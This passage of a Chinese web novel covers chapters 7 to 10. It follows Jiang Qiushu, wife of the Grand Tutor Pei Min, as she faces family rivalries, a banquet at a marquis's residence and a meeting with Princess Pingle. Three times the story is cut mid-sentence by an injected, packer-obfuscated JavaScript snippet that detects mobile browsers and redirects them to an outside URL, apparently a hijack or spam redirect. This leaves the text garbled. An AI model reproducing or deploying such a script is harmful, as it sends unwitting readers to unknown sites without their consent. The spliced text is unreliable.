太夫人点头,这时嬷嬷端来了药,二夫人本要亲自服侍,靠在太夫人身边的裴秋月站了起来,端过药来。 “阿婆,喝药。” 太夫人笑着看向裴秋月,拉着她的手,“你乖些,阿婆便哪里都好。” 喝完药后,太夫人看向二夫人“正明侯府的宴会,便让秋月陪着我一道去。” 二夫人有些僵硬的点头。 姜秋姝面上疑惑一闪而过,虽说裴珉说过不许裴秋月出府,太夫人心疼解了她的禁足,可为何今日要特意对着二夫人说。 “五郎娘子少出府,你们多帮扶些,莫要让旁人瞧我们国公府的笑话。”太夫人最后看了眼姜秋姝。 “是。” 四夫人看了眼屋里的人,府中除开忙事儿的几位,和年纪小的不好带过来,几乎是全到了。 这话从太夫人口中而出,虽是慈爱,可不得不令众人想起姜秋姝的身份来,其余小的不点,只点了她一人,也是有够好笑的。 只是看姜秋姝镇定自若,也看不到什么笑话,四夫人不由得失落。 7. 第 7 章 出了正院,姜秋姝领着锦绣和关嬷嬷打算回玉珩院,往花园走的时候,她还在想太夫人今日的意思。 裴秋月早就及笄,原先是定了门亲事的,可后来男方家还未成婚便闹出外室子来,就退了,后来迷上了赵士远就一直拖到今日。 太夫人是真的疼爱裴秋月,如今是怎么也不能在耽搁下去。 此举是有意正明侯府? 不过是正明侯府孙辈的满月,本也用不着太夫人亲自前去,特意讲与二夫人的缘故,应当也是想要她跟着安排。 想清楚后,姜秋姝只剩下羡慕,裴秋月虽性子不行,却有真心替她打算的亲人。 以前她也有过,阿娘离开前替她考虑好了一切,可却不晓得人心善变,真是辜负了阿娘的一番苦心。 荷塘边的小桥上远远的三夫人在向她招手,应当是有事的模样,姜秋姝便站在原地等着,等三夫人走近,“五弟妹不过先行一步,竟走到此了,可叫我好赶,咱们一块儿!” 姜秋姝颔首,与三夫人并行着。 “春日好时节,百花将盛开,一年前也是此时弟妹嫁过来的。”三夫人说话和缓。 姜秋姝大都是应和着三夫人的话。 走了一段路,两人同行的路便也不多了,三夫人见姜秋姝没有要开口的意思,便也沉不住气,直接道:“你甭听二嫂与四弟妹胡言,五弟与那小娘子可并未她们所说的模样。” 三夫人停顿了下,看着姜秋姝的,想要她继续问下去,哪知姜秋姝只跟着点头,“我晓得了,多谢三嫂。” 三夫人心头犹若压了口气,也不打算等着姜秋姝问了,“那小娘子原是五弟老师的女儿,原本是当世大儒之女,两人也算是门当户对。 可惜那大儒犯了事儿被判全家流放,这婚事也不了了之了。两人举止言谈都是合乎礼仪,也无旁的私情,我怕弟妹心里想岔了,特意来告知。” 姜秋姝浅笑着行礼,“多谢三嫂了。” 说着话岔路口便到了,三夫人也没理由跟着,两人分开而行。 关嬷嬷一直跟在她们身后,听着三夫人的话,关嬷嬷却有些着急上火,这般的解释还不若不解释! 简直越描越黑。 “娘子,您可不要听几位夫人胡言,您是知晓五郎性子的,他与郑小娘子虽然有婚约,但从未私下见过面,父母之命媒妁之言而已。五郎心中您才是最重要的。” 原来他的前未婚妻姓郑。 “嬷嬷安心。”姜秋姝安抚着关嬷嬷,裴珉前事她不知,知晓却又觉得不过是平常事。 若无意外她未曾嫁给裴珉,那位郑小娘子应当才是他的妻子,他们之间应当与她不同,夫妻间琴瑟和鸣,女子管理内宅稳妥持重,男子驰骋官场名利双收,也不必忧烦她这个妻子给他带来旁的些不堪。 不过这些只是想象,都未曾成为现实,她最该想的便是正明侯府的宴会。 *** 天色刚蒙蒙亮,姜秋姝便起了身,吩咐关嬷嬷和锦绣替她整理衣物,平素里她不喜妆容,只会简单涂了口脂。 关嬷嬷晓得宴会上少不了女子间的攀比,便亲自调了胭脂替她上妆。 约莫半个时辰,天终于彻底的亮了,等用过早膳,口脂淡了些,关嬷嬷立刻拿来个小罐,替她涂抹起来。 “娘子极美,老奴活了这么些年,还没见过容色比娘子还要出彩的。” 姜秋姝抿了下双唇将口脂染匀,被关嬷嬷夸赞,她笑道:“嬷嬷年轻时,定也是个大美人。” 锦绣也在这时凑了过来,“那我呢?” “也是好看的。” 房间里欢声笑语,比起院外的肃穆,也是玉珩院少见的一道景色。 谁不晓得五郎规矩严,仆从一言一行都不敢有错,也只娘子的房间有过笑声传出,不过仅限于五郎不在的时候。 定国公府一排的马车停在门口,最前排的是太夫人的马车,其次是几位夫人和小娘子郎君们的。 她来的早,只有二夫人到了,便先向她行了礼,今日是二夫人娘家有好事儿,她穿的亦比平日精神了些。 二夫人还了礼,便转身去了自己马车跟前,没有要去姜秋姝说话的意思。 直到门口太夫人在裴秋月搀扶下缓慢而来,二夫人才重新挂上笑颜。 姜秋姝瞧着二夫人此刻并没有昨日对裴秋月要去的不满,反倒是满脸的和善,向来正明侯府应当给了她答案。 只是不晓得裴秋月是否知晓了? 正明侯府离定国公府不过两条街的距离,很快马车便停在了侯府门口。 “这二嫂家可真是气派啊!”三夫人下了马车,走到姜秋姝的身边,“这是二嫂的娘家,二嫂定是忙的,五弟妹少出门,不若跟在我身边,我好带你见见人。” 姜秋姝诧异的瞥了她眼,点了点头。 门口便有正明侯夫人等着了,她见了国公府的人与旁边的夫人行礼告辞,带着身边约莫十七八岁的郎君,立刻迎上前来,“今日真是蓬荜生辉,太夫人也来了。” “我家孙女一直仰慕正明侯府,嚷着要来瞧瞧,”太夫人拉着裴秋月,“这是你二叔母的大嫂,便唤声姨母吧!” 裴秋月今日倒是比起在家中老实的多,行动间也端起世家女子的风范,“姨母。” 正明侯夫人笑着拉起裴秋月,连连夸赞,又介绍着身边的人,“这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318997|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我家十二郎君。” 闲话毕,一行人终于进了府。 路上遇见了许多的夫人小娘子,她跟在三夫人的身旁同她一道行了礼。 那些个夫人虽然听说过太傅夫人的一些事儿,可到底还未见过真人,如今瞧见真人,竟有些叫人移不开目光来。 “五夫人真是叫人眼前一亮。”其中的一夫人直接将众人心声说了出来。 三夫人看了眼那夫人,又看了眼姜秋姝,正要介绍,一道声音直接插了进来。 “赵三娘亦是女中豪杰。”姜秋姝神色敬佩,“我不过是相貌叫人多看几眼,三娘却是听之便让人敬佩。” 赵敬茗惊讶的瞧着她,“你认得我?” “三娘与于将军镇守边关,为我大周鞠躬尽瘁,战场厮杀寸土不让,护卫天下,谁能不知!”姜秋姝说起这话时,眸中的光都比平日亮了不少。 赵敬茗身侧的几位夫人只觉得姜秋姝是特意打听了赵三娘的事儿,好来此处拍马屁。 于是纷纷凑上前来,“五夫人可识的我们?” “孙四夫人,吴六夫人,王家九娘安。”姜秋姝神色不变,朝她们问安。 几位女子忍住震惊,纷纷规矩的还了礼。 倒是没想到这位太傅夫人沉寂在内宅中,竟然会识得她们?! 三夫人亦是惊愕的看着姜秋姝,她这位五弟妹好似没那么简单! 树丛处,原本要过来的人停在了原地,裴珉看着姜秋姝兴致勃勃的与几位夫人说着话,尤其是在看向赵敬茗时,眼眸像是浸在星河里。 那样的眸光隐隐有些熟悉,好似见过。 裴珉遥遥的望着她,瞧她神采飞逸,令人不由得多瞧了几眼,可每每瞧见她眸中的神采,尤其是落在旁人身上,只教人心头升起股莫名的感觉。 这般的目光原是对着他的,至少前几月是,他离府三月总觉得变了许多。 裴珉原是要上前替她解围的,她应付的机警,比以往长进不少,倒也用不上他,便转身离去。 姜秋姝察觉一道目光频频落在她身上,目光追寻过去,却又什么都没有瞧见。 与几位夫人告辞后,三夫人带着她往内厅的去,目光探究的看着她,“弟妹未出过府,也没有机会认识那几位夫人,怎么这么?” 姜秋姝明白她未尽的意思,神色自然,“怕给定国公府抹黑,便下了些苦功夫。” 三夫人点头,这般解释倒算合理。 “这五郎娘子的位置合该你来坐。”她打趣道。 虽出身平凡,却能沉下心来,往上攀登,倒是与昔日的裴珉有些相像。 姜秋姝笑着回应,“我也这般以为。” 8. 第 8 章 两人走了会儿,三夫人忽然遇见些熟人,晓得姜秋姝的本事也就叫了个丫鬟陪着她,自己涌入了夫人堆交际着。 侯府的园子比起国公府的要精巧些,虽然不大,可院中盛开的奇珍花卉能够叫她多驻足几眼。 姜秋姝的步子也放缓了些,欣赏起美景来。 以往与阿娘住在乡野时,家中便以养花为生,所养的也不过是寻常的品种,嫁进国公府,她才晓得世间有那么多珍奇的花卉。 青石路的周围养着姹紫嫣红的花,姜秋姝看的入迷,拐角处落了好些个花瓣,上面沾染着泥土被踩踏过,姜秋姝满是可惜。 她又往另一侧瞧去,围栏处,两小儿好似在挖着什么,他们衣角处堆着好些花朵,等察觉到她的目光,两小儿吓得丢掉手里的花,跑掉了。 姜秋姝跟了上去,那两人衣着简朴应当是仆人或是管事儿的孩子。 她看着地上的九节兰,根系完好,只不过花瓣残损,她将东西捡起来,走到围栏处想要将九节兰重新栽好。 “娘子,奴婢来吧!”锦绣连忙道。 姜秋姝摇头,这九节兰多长在山野,比较难在宅院中培养出来,是不可多得之物,被人这般糟蹋,当真可惜。 她蹲在草丛中,小心将九节兰埋了回去。 “五叔母!这是在旁人府邸,怎可随意动人花卉!”裴承不知何时到的,神色忧愤的盯着她。 姜秋姝拍了下手掌的泥,对着裴承不悦的神情,有些好笑,“三郎君一叶障目,难道只知以管窥天?” 裴承自姜秋姝站起身来,看着被重新栽好的九节兰愣住了。 她方才是在将花重新栽回去? 他眸子渐渐落在了她的手上,原是纤手抚清月,被泥土弄脏像是白玉有瑕,叫人惋惜。 鬼使神差的他从怀中拿出手帕递了过去,“擦擦吧!” 姜秋姝未接,只是在瞧着他手腕内侧的红痣愣了瞬。 眼中漫天红色一闪而过,团扇遮住了大半的视线,那只伸过来的手手腕处的红痣比起高挂的红绸颜色还要深些。 姜秋姝垂眸,掩住所有的神思,在锦绣的搀扶下,直接离开了。 她晓得裴承看似温和,待人颇有风范,可其实也同定国公府大部分人,不喜她成了五郎的妻子。 裴承收回了手,那方手帕却被风吹离,他弯腰去捡,再起身时,她已没了踪影…… 裴承暗恼,方才晃了神,他连致歉的话都没说。 姜秋姝离开院子,上了座小桥,打算去内厅安座。 不远处一个熟悉的人影走了过来,那人影在瞧见她的时候步伐比方才要更加快了些,仿佛生怕她跑了。 “姜秋姝,你可晓得阿婆答应我何事儿了?”裴秋月洋洋得意。 姜秋姝不答,“你该唤我叔母。” 裴秋月心情立刻低了不少,“不喊又如何?” 姜秋姝轻笑,“这得问你五叔。” 裴秋月不情愿的行了礼,喊了声五叔母。就晓得用五叔来压她,若无五叔,她姜秋姝叔母都不是! 裴秋月想起自己与赵郎的事,定要与姜秋姝说道说道,也好叫她妒忌自己,就在姜秋姝要离开时,她特意抓住她。 姜秋姝只觉得烦人,人不找事儿,事儿偏找人。 “你以为今日太夫人允你出府是因何?”姜秋姝放低了声音,“你的婚事,太夫人早有决断。” “你胡说!”裴秋月想要抓住姜秋姝,姜秋姝连忙侧身躲开。 姜秋姝挥退了周围的人,桥上此刻只剩下他们二人。 “我为何胡说?”姜秋姝眸光头一次撕碎了温柔,也没了在定国公府的顺从,“正明侯府是门好婚事,我又怎愿你嫁得顺遂。” “姜秋姝今日倒是露出真面目了!”裴秋月恨恨的看着她。 姜秋姝往侧行了几步,离远了她,“二侄女你我前怨已久,我又不是那高台静坐的菩萨,若真握手言和,才奇怪。” 她与赵士远天造地设的一对,可谓臭水配水沟,合该在一起。 “赵士远因你才与我解了婚约,侄女如今另寻高枝儿,可是瞧不上他了?”姜秋姝笑得温和,“如果真是这般,也怪不得你,只不过叔母以为你们之间的爱可跨越所有艰难险阻,原是我误会了,你们之间的感情也不过如此。” 爱可越过所有磨难!想起赵郎与她的感情,裴秋月神色戚戚,她是绝对不会放弃的。 “父母之命媒妁之言,你又能做何?”姜秋姝表情带着几分嗤笑。 “胡说!”裴秋月瞧见她眼中的鄙夷,心里像是被什么抓过样,“赵郎独悦我,我亦非他不嫁。我们之间又岂是旁人能决定的!” 姜秋姝哂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318998|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,又望了望天,暗笑裴秋月的渺小。 人怎可与‘天’斗。 裴秋月阿耶早死,阿娘多年待在佛堂又不管事儿,婚事可是捏在太夫人手里的。 看出姜秋姝的意思,裴秋月气的眼眶都红了,“你等着,我与赵郎定可越过所有的磨难。” 姜秋姝临走时只遗憾的看了眼裴秋月,裴秋月更是被气的七窍生烟,心中更是坚决了不少。 周围并没有多少人,姜秋姝默默地走着,她是不愿意裴秋月嫁的如意,凭何害了人仗着权势,却依旧过的自在。 即便过了一年之久,即便自以为补偿了她,可她心中仍有怨气。 裴珉很好,配她是委屈了他,所有人都这般以为,可她不觉得,这趟浑水她没想过要蹚,只怪阴差阳错! 几人行了会儿,到了个小院子,领路的婢女忽然捂住肚子,嚷着要如厕,留下姜秋姝她们几人在此等待。 此地静幽,不大像要往内厅的方向,忽然姜秋姝站起身来,意识到不好,想要领着锦绣他们离开。 不远处亭台内,两名男子在对弈,一席焦月色圆领衫的男子执黑棋若有所思道:“圣人想要加封任大人为太师。” 另一位男子绣云纹元青色交领袍,腰间挂着枚白玉佩,执白棋,只一字便将黑子的路给堵了。 “那又如何?”男子声音极淡,毫无起伏。 李明澈气愤的看着另一男子,也就是裴珉,“任大人出身寒门,太师虽不过是虚职,可到底扬了威望,提了寒门的士气。圣人的想法你还不晓得吗?如今打压起世家丝毫不手软。” “流水的皇帝,铁打的世家。”裴珉将棋子扔回盒里。 李明澈也被他吓了跳,连忙四下探查着有无旁的人。裴珉势大权倾朝野,自然不怕,他就怕别人将这话按在他身上。 姜秋姝听着熟悉的声音,忍不住捂住嘴,这还是他认识的裴珉吗? 竟然敢说出这般大逆不道之言! “五郎成了婚,怎也不带嫂子出来走走。”李明澈连忙转了话题,“今日嫂子也会来吧?若是有机会可前去拜见。” “不必。”裴珉端起茶抿了口便放下了。 “你们毕竟是夫妻,过去的便过去了”。李明澈叹口气,似乎劝慰着。 姜秋姝没再去听,只暗自是思忖何人将她引到此处? 9. 第 9 章 姜秋姝朝着关嬷嬷她们摆手,示意离开此处,忽的青石板被重物击打发出轻脆的声音。 “何人?” 低沉的声音响起,正在下棋的两人,视线朝着同一个方向望去。 姜秋姝目光停滞在石子一瞬,便晓得走不了了,她理了下袖口,领着关嬷嬷走到了他们身侧。 姜秋姝俯身,“妾身失礼了。” 裴珉抬眸了瞬,眉宇极快的拧了下,姜秋姝晓得这是他不悦的前兆。 她一女眷未经通报,闯入其他府邸的内院本就失仪,无论是否有意。 李明澈起身,目光在这小娘子身上打着转儿。 身着赭石色大袖褥衣,下身也不过简朴的间色裙,一身既不出彩,也不似旁人那般打扮的耀眼夺目,她既没有被察觉到偷窥的忐忑,亦没有见到如此出众的两位郎君时的羞赫,面色坦然,倒像是个学识渊博的熟读诗书的小娘子,可谓妙人也。 可他在洛阳城中,却从未瞧过这般姿色出众的女子。 “小娘子可是走错了地儿?相见便是有缘,不若留下姓名,我唤人派小娘子去前院。”李明澈笑的和善并回了礼。 姜秋姝偷瞄了裴珉眼,又瞧着面前略有殷勤的李明澈,“是妾身打扰了,郎君勿怪,这便离去。” 李明澈见佳人欲离开,不免可惜,正要亲自将人送回前院,对面的裴珉忽然站了起来。 “无故闯入内院,我带内子致歉。”裴珉神色极淡,叫人瞧不出喜怒。 见他挑明了自己的身份,姜秋姝立刻顿住脚步,也不好离开。 李明澈怔楞,眸光在裴珉和姜秋姝身上来回,震惊一闪而过,“原是夫人,是我失礼了。” 谁又能想到当今太傅夫人,竟是这般模样,人人皆传太傅夫人是市井的粗俗小娘子,不通文字,貌若无盐。成婚后太傅只将其带出门一次,又因那次丢了人,此后便不乐意叫夫人露面。 也不晓得,那流言是如何传出来的,这般容颜都能叫无颜,洛阳城中的女子日后怕必须头戴幂篱才敢出门了。 李明澈掩住心底的失意,语气转圜的极快,“夫人怎来了此,莫不是来寻裴太傅的?” 姜秋姝刚要回话,裴珉走了过来,直接打断了 “今日是侯府三房的满月酒,你该是在前院,在太夫人身边伺候着,还不素素离去。”裴珉隐隐的不悦,叫她捏紧了绣帕。 “五郎说的是,妾身这就离去。” 李明澈瞧着挡住自己视线的裴珉,嘴角不由得轻抿,话虽是严厉了些,可身体的举动却又骗不了人。 啧!便是多瞧了眼,也不会叫她少块儿肉! 他还信了外面的传言,以为夫妻俩真如寒冰般关系淡薄。 姜秋姝正要走,李明澈便叫自己身边的小厮送她,裴珉道:“我与内子一块儿。” 李明澈瞧着两人的背影,护的这般的紧?离开还要送,莫不是怕他纠缠?他也非那般无耻下流的人吧! 两人间隔了一步的距离,瞧着不远,却又不近。 原路绕过那座小桥,姜秋姝解释道:“妾身是被一婢女带到此处的,并非有意。” 裴珉视线下移,瞧着她的侧颜,“猜到了。” 姜秋姝看了眼他,有些诧异,那他? “也该警醒些,”裴珉垂眸,眼眸盯着她,异常认真,“你是国公府五夫人,在外行事代表着国公府,今日能够随意被婢女带走,明日是否能随意跟旁的人走?即便非有意,可终究是你不够小心。” 裴珉怒意没有隐藏,甚至比方才多了些别的东西,姜秋姝看不明白,被他这么一说心口堵着气。 她想说:她一寻常女子又不会走一步算一步,去他人府中,自然是由他府奴仆带路服侍,不去怪罪使坏的人,反倒是怨冤者提防不够。 可凉风一吹,原先起的心绪也散去了。 “是妾身不是,以后妾身定步步谨慎,谨言慎行。”姜秋姝恭敬的垂首,俯了俯身。没必要争论,对错从不重要。 不远处,便是开宴的地方,那处的欢声笑语穿了过来。 两人驻足,谁也没有说话,此刻有些冷清。 “回去抄《孝经》一遍。”裴珉说了话,便领着小厮离开了。 姜秋姝眉宇轻拢,盯着他的后背,心头倏然失神。 许久未被他罚抄,真够叫人记忆深刻。 “男子还是柔顺些的好,裴珉脾气太过顽固,为人不懂风情,不若踹了他,本宫替你重新寻个可人儿的!” 调笑的声音从背后传来,女子嗓音懒懒,尾音是上扬。 姜秋姝转身便行礼,“见过平乐公主。” 李长宁摆了摆手,虽是浅笑着,可周身气势威亚十足,“不必与本宫客气。” “许久未见,姜小娘子一切如故,还是貌美异常,可这儿心气儿倒是消了不少。”李长宁看着她,“早便与你说过,裴太傅瞧着是个好的,可若是当人夫君差矣。如今可曾后悔?” “妾身寒门之女能嫁世家,已然是天大的好事。如今锦衣玉食,有何悔?”姜秋姝摇头,只不过话中多了些别的意味。 李长宁眉眼笑意深了几分,隐约有几分欣慰,这小娘子倒是看清了许多。 李长宁只见过她四回。 第一回,布衣着身,钗缕素带清朴,如同大多数乡野间的女子般,尤其是她灰头土脸,只一双透亮的眼眸,异常耀眼。 她晓得她身份后,给她递了一纸诉状。神情坚韧,虽是跪着的,可她的身子直立,恍若什么也打不倒。 第二回,眼神中多了些愁绪,可却只如同天上漂浮过的云,风一吹便消了。笑盈盈的望着檐下挂着的花灯,眸光晶莹,天真无邪扫除阴霾。 第三回,四周讥讽,世家小娘子数落她不懂的品茶,她满脸通红,羞的像是无地自容。 她默默的看着,当初的那个小娘子变了模样,有什么东西叫她变得卑怯,不似以往一往直前任由裴珉将她护住,成了个娇小的小娘子或者说菟丝草。 今日便是第四回。 她又变得不一样,不在将护住她的男子奉为天。 锦衣玉食主在俗物,俗物好啊!人生在世,衣食住行才是最重要,而非那些什么个‘我与夫君琴瑟和鸣’的虚言。 不过? “寒门?世家?世家能有几个好的?”不过是些尸位素餐的蛀虫! 姜秋姝默不作声的听着李长宁言语中的不屑,前院鼓声响了,她提醒道:“宴席快开始了,公主可要与我一同过去。” 李长宁点头。 前院热闹非凡。 在瞧见李长宁的那刻,所有人都跪地行礼,姜秋姝站在李长宁身侧,察觉道目光频频落在她身上,等她移过去又迅速藏匿起来。 姜秋姝眸光微闪,心头默默思索起来。 众人目光先是落到李长宁身上,在瞧见姜秋姝后又是一惊,先前在侯府门口的人认出了姜秋姝,只是诧异她怎会与公主站在一处。 甚至瞧着熟稔。 “起。”李长宁声音沉静,不似在姜秋姝面前的和缓。 正明侯府与太祖原是至亲,也曾辉煌过,近些年来没落了,降位袭至侯爵。按辈分侯府如今当家夫人算是李长宁的表姑母。 “公主前来,不甚荣幸。”正明侯夫人语气欣喜,心中却暗自嘀咕李长宁怎会来此,分明与正明侯府少交际。 在众人簇拥下,李长宁进入了室内。 刚刚满月的小娃娃被证明侯夫人抱了出来。小娃娃长得胖嘟嘟,穿的喜庆,这么多人瞧着也不哭,笑盈盈的。 正明侯夫人身侧便是三房夫人,她细心的理了理襁褓,慈爱的望着孩子。 慈母幼子,最为柔软,温情脉脉渗入人心。 姜秋姝瞧着,心头的渴望更多了,血脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318999|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最为牢固的联系,怀胎十月的家人会陪伴终身。 “五夫人也来瞧瞧,沾沾喜气。” 姜秋姝瞧的入神,上首声音响起,是正明侯夫人正喜气满面的瞧着她。 三房夫人亦道:“五夫人是真心喜爱孩子,眼神都未移开过。” “夫人的孩子似观音座下的仙童,一看便叫人喜爱。”姜秋姝这话说的实诚,这小娃娃看着便叫人心生怜爱。 听着人夸孩子,三房夫人脸上的笑意更深了几分,抱着孩子给姜秋姝瞧了瞧。 小婴儿砸吧着小嘴,一双乌瞳透亮。 说着三房夫人有想要姜秋姝抱下孩子,一道惊诧声响起,挡住了二人,“三嫂将孩子抱稳些,五夫人未曾生养过,瞧着生疏,还是别了。” 小娘子身姿窈窕,不动声色的隔开了姜秋姝她们,眼神似有愤恨之意。 三夫人眼神歉意的看了眼姜秋姝,介绍道:“这是我家九娘,” 李府九娘,二夫人曾说过想将她介绍给裴珉。 她想过是何人陷害与她,尤其是在李府,可当瞧见李府九娘便了然了。 引着她入了内院,只能是对侯府地形熟悉的人。 李九娘是见过姜秋姝的,只一面便叫她记忆深刻,如今再见,还如当初一般,她可忘不了方才姜秋姝同平宁公主一道进来,大多数的目光停留在姜秋姝身上。 便是跟在天家之女身侧,也难掩其风光。 三房夫人用手肘碰了碰李九娘,李九娘敷衍了行了礼,“五夫人安。” “九娘可曾听过石子儿击打青石板的声音?轻脆悦耳。”姜秋姝嘴角微抿,目光直视。 “不晓得五夫人说什么。”李九娘移开视线,恍若什么也不晓得。 姜秋姝清晰的瞧见李九娘眸中的惊慌闪过,心中更是确定。 小娘子的手段幼稚了些,不过是想叫裴珉晓得她的粗俗与鲁莽,旁的人不好,才更加能凸显出她的好。 可惜,她最初在裴珉面前便,就是那般的人,也不新奇了。 ** 周朝民风开放,两情相悦的男女结伴同游是常事,宴席也不会男女分坐。 姜秋姝被安排落在在裴珉身侧。 清晨时,裴珉并未同她们一道来,还当是有事儿,不会来,可看太夫人她们在瞧见裴珉时也没有惊讶,他应当是禀告过太夫人她们了。 姜秋姝落坐后,正好瞧见了对面的男子,正是和裴珉方才待在一处的李明澈。 李明澈举起酒杯对她礼貌一笑,她微微颔首,回了一礼。 低头时,面前的茶杯正添着茶,她抬头不解,这茶水她可一口未动,裴珉这般画蛇添足作甚? “五郎与李六郎相熟?”姜秋姝瞧着左右对应,一派和乐,偏他二人无话可说,便随意寻了个话题。 “娘子如何知晓的赵三娘和旁的人?” 原来隐匿在树丛后的是他,她还当那视线是错觉。 旁的人指的是李六郎?可两人瞧着应当关系不错,怎这般称呼人呢? 裴珉收回了手,可茶水滴了几滴在桌面。 姜秋姝拿起帕子正要擦,同一时刻手背上又隔了张手帕被按压在桌面,他手宽大又修长,将她的手全部收拢,遮挡的没有丝缝隙。 隔了层东西,他的温度依旧清晰的传来,姜秋姝连忙收回手。 裴珉慢条斯理的将几滴水渍清理干净,动作优雅如往常,原是没甚的,可瞧见她规矩的将手叠放在身前,避嫌般的疏离,手心微痒,触感久久不散。 他拧眉,继续又问了句。 “提前做了些准备,以免叫五郎丢人。”姜秋姝似调侃的说道。 茶杯太满不好饮,便是强行喝下,手不稳也会溢出,叫旁人看笑话,她叫人新取了茶杯,添上茶水,抿了口。 裴珉看了眼姜秋姝,见她表情未变,可却隐隐觉得有些发涩。 10. 第 10 章 席位最上首,原本是太夫人的位置,平乐公主莅临,太夫人退居在旁侧,他们对面是正明侯府小辈的席位。 成婚的郎君与夫人同坐,李五郎和李六郎是单独的席面。 姜秋姝瞧着有婢女叫走了李五郎,她又看了看右侧,裴秋月也没了踪迹。 想来太夫人属意的便是这李五郎,她对李五郎了解不多,只知受祖辈恩荫得了个官职,虽不是学富五车,倒是是个俊雅的少年,府中也并无的通房姬妾。 太夫人为裴秋月思虑良多。 她捡了块儿点心,轻咬了口,只觉得甜的腻人,无甚乐趣的将点心放在面前的碟子上。 手心糕点的碎屑粘人,刚要取手帕擦拭,身侧的人将手帕递了过来。 姜秋姝用自己的手帕擦着,面含歉意,“五郎您的手帕方才擦过水渍。” 只是水渍,也算不得什么脏污,裴珉捏着手帕,看了眼姜秋姝眉眼未曾抬过,只是低头的擦着手指。 “处理了。”他将手帕扔给后面的小厮。 宴会进行到一半,姜秋姝发现太夫人的位置上没了人,连带着上首的正明侯夫人也没了踪迹,约莫过了两刻钟,太夫人和裴秋月出现在宴席上。 太夫人面上喜怒不现,可她身侧的裴秋月一直低着身子,没了世家女子的骄矜气,看向太夫人的时候小心翼翼。 李五郎亦是回来了,只不过他面上含怒,虽然刻意隐藏,却仍然能够叫人寻到些端倪,正明侯夫人倒是一切如常。 姜秋姝唇角微勾,又捡起盘子里的点心尝了口,配着茶水倒也算可口。 “老师安。” 不知何时,李长宁出现在他们身后。 李长宁恭敬的朝着裴珉行礼,又看了看姜秋姝,“这便是师母吧!方才顺路进来,还以为是何处的仙女,老师这般藏着掖着,可是怕被旁的人给夺走了?” 裴珉受封太傅,今朝虽未封太子,可他也是实打实的教导过宫中的几位皇子和公主,自然当得起李长宁一声老师。 姜秋姝颔首以示礼节,很快听懂了李长宁的暗示,也只当今日是第一回见她。 李长宁瞧见裴珉尽管被她揶揄,眉目间连半分褶皱都未掀起,也泄了气。 裴珉凡事皆平淡,便是说起的素体相缠,世间最亲近的妻子都未曾有什么反应,不晓得该夸他内敛,还是对妻子的不在意。 也不晓得什么样的人和事能够勾的他失了本性,碎开儒雅的皮囊,也成了世俗求不得之人! “老师,平日便严肃,师母若是觉得府中枯燥,可来寻我。”说着李长宁从腰间解下了玉佩递给她。 姜秋姝起身正要去接,一只手横过,裴珉正色道:“府中事务繁忙,需要内子,平日怕是陪不了公主玩乐。”气定神闲,即便对面的是天子之女,说起拒绝的话,直白不避讳。 李长宁掩唇而笑,“国公府又未分府,管事儿的责任也落不到五夫人身上,老师这般防本宫,莫不是怕本宫带坏了师母。” 裴珉未曾言语,眼神却看向了姜秋姝,隐隐暗示她不要接下,姜秋姝点头,立刻接下了玉佩。 冰凉的玉佩刚触手,她便察觉到身侧之人气息变了。 她笑意盈盈,甚至替裴珉解释道:“殿下莫误会,五郎不过是顾家了些,公主相邀荣幸之至。” 世家子有些傲气实属正常,如今朝堂大半数被他们牢牢掌握住,若非阿耶雄才大略,这皇族怕不过是个空壳子。 裴府,世家之首,屹立不倒数百年,经历数个朝代的起落,比大周存在的时间还要长的多。 李长宁笑意浅显,尤其是在望向裴珉时,待看向姜秋姝嘴角弧度比方才深了些。李长宁离开后,周围倒是时不时有目光看向他们。 尤其是未曾见过姜秋姝的人,等她坐定在裴珉身边,加之平乐公主的话,一下子就明了了她的身份。 微风拂面若芙蓉,天若有仙必此女,肌肤白皙粉光若腻,坐在席面上比起旁人都要白上不少,乌瞳清亮,眸子眨动间带起涟漪,鼻子小巧却又有一定的弧度,朱唇染红艳,似娇花含露。身子窈窕,坐着衣服褶皱堆在一处,白皙的脖颈下起伏藏不住。 这般容色可倾城,气度超凡的小娘子,吸引人的目光,即便是人瞧见裴珉冰冷的双眸,都忍不住多了几分胆量,想要偷偷看上几眼。 皆言裴太傅娶的妻子是个粗人,若是有这样的粗人,他们也想娶。 裴珉望了周围眼神不安分的郎君,眸色比方才深了不少! 姜秋姝察觉到身侧之人越来越冷的气息,她暗自腹诽不过是接下玉佩,又不是做了什么伤天害理之事,有必要这般的生气? 姜秋姝擦了擦唇,一侧的裴珉早就起身,这时有婢女来报太夫人突发头疾,早早的离开了,随行的还有三夫人和裴秋月,只传话说不想打扰他们的雅致,尤其是二夫人,想叫她和娘家人多待会儿。 